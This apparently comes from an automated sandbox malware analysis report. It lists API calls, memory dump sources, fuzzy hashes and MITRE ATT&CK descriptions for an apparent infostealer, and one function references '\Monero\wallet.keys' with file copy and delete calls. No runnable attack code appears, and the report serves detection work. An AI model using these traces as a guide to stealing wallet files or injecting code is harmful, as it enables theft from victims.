Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

Part of subcall function 6C6AD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C6ACDBA,00100000,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD158
Part of subcall function 6C6AD130: InitializeConditionVariable.KERNEL32(00000098,?,6C6ACDBA,00100000,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACDC4

Part of subcall function 6C6A7480: ReleaseSRWLockExclusive.KERNEL32(?,6C6B15FC,?,?,?,?,6C6B15FC,?), ref: 6C6A74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACECC

Part of subcall function 6C66CA10: mozalloc_abort.MOZGLUE(?), ref: 6C66CAA2

Part of subcall function 6C69CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C6ACEEA,?,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000), ref: 6C69CB57
Part of subcall function 6C69CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C69CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C6ACEEA,?,?), ref: 6C69CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD058

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 17b39ecca14ffcae6143c17bfe05fa816367e042abf1e00a0f871d2f8f566c65
Instruction ID: 7f1d13926e85e4132c53c4f335a1232c33e1e35778ffcb01c90bc5c865becd05
Opcode Fuzzy Hash: 17b39ecca14ffcae6143c17bfe05fa816367e042abf1e00a0f871d2f8f566c65
Instruction Fuzzy Hash: 2FD16F71A04B469FD708CF28C480B99F7E1BF89308F01866DD95987712EB31B9A6CBC5

Function 0032D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Part of subcall function 0033A9B0: lstrlen.KERNEL32(?,00F28FF0,?,\Monero\wallet.keys,00340E17), ref: 0033A9C5
Part of subcall function 0033A9B0: lstrcpy.KERNEL32(00000000), ref: 0033AA04
Part of subcall function 0033A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0033AA12

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

Part of subcall function 00338B60: GetSystemTime.KERNEL32(00340E1A,00F2A628,003405AE,?,?,003213F9,?,0000001A,00340E1A,00000000,?,00F28FF0,?,\Monero\wallet.keys,00340E17), ref: 00338B86

Part of subcall function 0033A920: lstrcpy.KERNEL32(00000000,?), ref: 0033A972
Part of subcall function 0033A920: lstrcat.KERNEL32(00000000), ref: 0033A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0032D481
lstrlen.KERNEL32(00000000), ref: 0032D698
lstrlen.KERNEL32(00000000), ref: 0032D6AC
DeleteFileA.KERNEL32(00000000), ref: 0032D72B

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 36ffe6d71a6e2b1f7059cd20c5f6902a7645e6876f0a98021a241f24d2651939
Instruction ID: f210b454b82064497510ed28b199a431e762f0733be16bba8ea34e94751724f1
Opcode Fuzzy Hash: 36ffe6d71a6e2b1f7059cd20c5f6902a7645e6876f0a98021a241f24d2651939
Instruction Fuzzy Hash: 8D910E72910508ABCB06FBA4DCD6EEE7738AF14300F504168F547BE091EF746A49DB62

Function 6C675C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C675D40
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C675D67
__aulldiv.LIBCMT ref: 6C675DB4
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C675DED

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: fccf99705cd4046480c0da99a08bcdfb038165868c156f85a6ca97cbfd90524e
Instruction ID: d33b4dba655bb99291579b5ea7e7ad6204471695016f9aad492d62ec9b1b7e3c
Opcode Fuzzy Hash: fccf99705cd4046480c0da99a08bcdfb038165868c156f85a6ca97cbfd90524e
Instruction Fuzzy Hash: 89518F71E001698FCF08CF69C994AAEBBF1FB85304F198A5DD811A7B50C7307945CB99

Function 00333560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: ac7096ffa628f4dfc3e53e872ba1af6e437cbe955f76d6d387a87c45ed6f6288
Instruction ID: 424c7dea8bf04f9ceff8f006b057bd9eb7932539216b2ab4d68b06836afe65a6
Opcode Fuzzy Hash: ac7096ffa628f4dfc3e53e872ba1af6e437cbe955f76d6d387a87c45ed6f6288
Instruction Fuzzy Hash: 494123B1D10109AFCB05EFE4D8C6AEEB7B8AF54304F008418F5157B291DB75AA49DF91

Function 6C696470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C6982BC,?,?), ref: 6C69649B

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6964A9

Part of subcall function 6C68FA80: GetCurrentThreadId.KERNEL32 ref: 6C68FA8D
Part of subcall function 6C68FA80: AcquireSRWLockExclusive.KERNEL32(6C6DF448), ref: 6C68FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C69653F
free.MOZGLUE(?), ref: 6C69655A

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 84f714f4f15ae930f76b2db4f443e3ba3e75a5f9a40559ef3b81db765fb5b1f9
Instruction ID: 98cb846002616a141ddfcc5cd91472c026677bdcc18c31a34d08c92d525b97ac
Opcode Fuzzy Hash: 84f714f4f15ae930f76b2db4f443e3ba3e75a5f9a40559ef3b81db765fb5b1f9
Instruction Fuzzy Hash: 223161B5A04305AFD740CF15D88469AB7E4FF89314F00482EE85A97751DB34E919CBDA

Function 6C66B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C66B4F5
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C66B502
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C66B542
free.MOZGLUE(?), ref: 6C66B578

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: d6fce4e0f5ce2d2612f5934e6f077c7e1e761546c7ba7781ddcddf79526bcbfe
Instruction ID: f8c6926e3cb4d4af112b9870dfa7403b397d49b61d05b120268176a51f4f12c6
Opcode Fuzzy Hash: d6fce4e0f5ce2d2612f5934e6f077c7e1e761546c7ba7781ddcddf79526bcbfe
Instruction Fuzzy Hash: 85110330A04B41C7D321CF2AC8407A5B3B0FFDA319F14970AE84953E02EBB0B5C5879A

Function 00337980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00340E00,00000000,?), ref: 003379B0
RtlAllocateHeap.NTDLL(00000000), ref: 003379B7
GetLocalTime.KERNEL32(?,?,?,?,?,00340E00,00000000,?), ref: 003379C4
wsprintfA.USER32 ref: 003379F3

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: fca16f3024e520496eb1b6f2243dd7a77885cef7d308009686b9146d6ec89fb1
Instruction ID: c76760fde2c58c699843d09f0734434d631e9f4f69078a9b0da07666eb052add
Opcode Fuzzy Hash: fca16f3024e520496eb1b6f2243dd7a77885cef7d308009686b9146d6ec89fb1
Instruction Fuzzy Hash: E91127B2904118ABCB14DFC9DD45BBEB7F8FB4CB11F10421AF605A3280E2795944DBB1

Function 0033C742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0033C74E

Part of subcall function 0033BF9F: __amsg_exit.LIBCMT ref: 0033BFAF

__getptd.LIBCMT ref: 0033C765
__amsg_exit.LIBCMT ref: 0033C773
__updatetlocinfoEx_nolock.LIBCMT ref: 0033C797

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: f54b38eb2b80e83ac15594c852c347a531e50a9da5b56ceb3b74ef9365ed883a
Instruction ID: b3f6a5398e2e0c14e11de05395408134b82093d749702d650594f170711a01eb
Opcode Fuzzy Hash: f54b38eb2b80e83ac15594c852c347a531e50a9da5b56ceb3b74ef9365ed883a
Instruction Fuzzy Hash: BAF0BE329147009FD723BBB89CC7B5EB3A06F00721F255249FA04BE2D2CF6469419F56

Function 6C65BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C65BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C65BE8F

Strings

0, xrefs: 6C65BE5B

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 649d6500970ca855c2c481ee1f24676c81dfb6642f3f8c832d97c200676fd99e
Instruction ID: 5aff77c52a83a249f610f6a40117f5f17253505299baa17352f2cf3b02d9aadf
Opcode Fuzzy Hash: 649d6500970ca855c2c481ee1f24676c81dfb6642f3f8c832d97c200676fd99e
Instruction Fuzzy Hash: 6F41B171A09745CFC301CF28C481A9BB7F4AFCA388F544B1DF985A7611D730E9698B8A

Function 6C693CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C693D19
mozalloc_abort.MOZGLUE(?), ref: 6C693D6C

Strings

d, xrefs: 6C693D58

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 79547db147bd6d31f76d90bae60149de37a63823fd5d36e282509eb561b16e80
Instruction ID: ae81405fb39a1e9092750637fc88ed10a7b0fe2e72f912b9bd23e2162f856e3d
Opcode Fuzzy Hash: 79547db147bd6d31f76d90bae60149de37a63823fd5d36e282509eb561b16e80
Instruction Fuzzy Hash: 8111C435E0468997DB008F6ACC644EDB7B5EF86318F458229DD4997622EB30A688C398

Function 6C666C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0Kil,?,6C694B30,80000000,?,6C694AB7,?,6C6543CF,?,6C6542D2), ref: 6C666C42

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

moz_xmalloc.MOZGLUE(0Kil,?,6C694B30,80000000,?,6C694AB7,?,6C6543CF,?,6C6542D2), ref: 6C666C58

Strings

0Kil, xrefs: 6C666C33, 6C666C41, 6C666C57

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0Kil
API String ID: 1967447596-1570486273
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 47a2848e409718a8f1d8a2683fe2594ab049f9b896a105d641ef50186a662689
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: F4E086F1A10D455B9F08D97FAC0956A71C88B553AC7044A35E823C6FC8FAB4E550815F

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
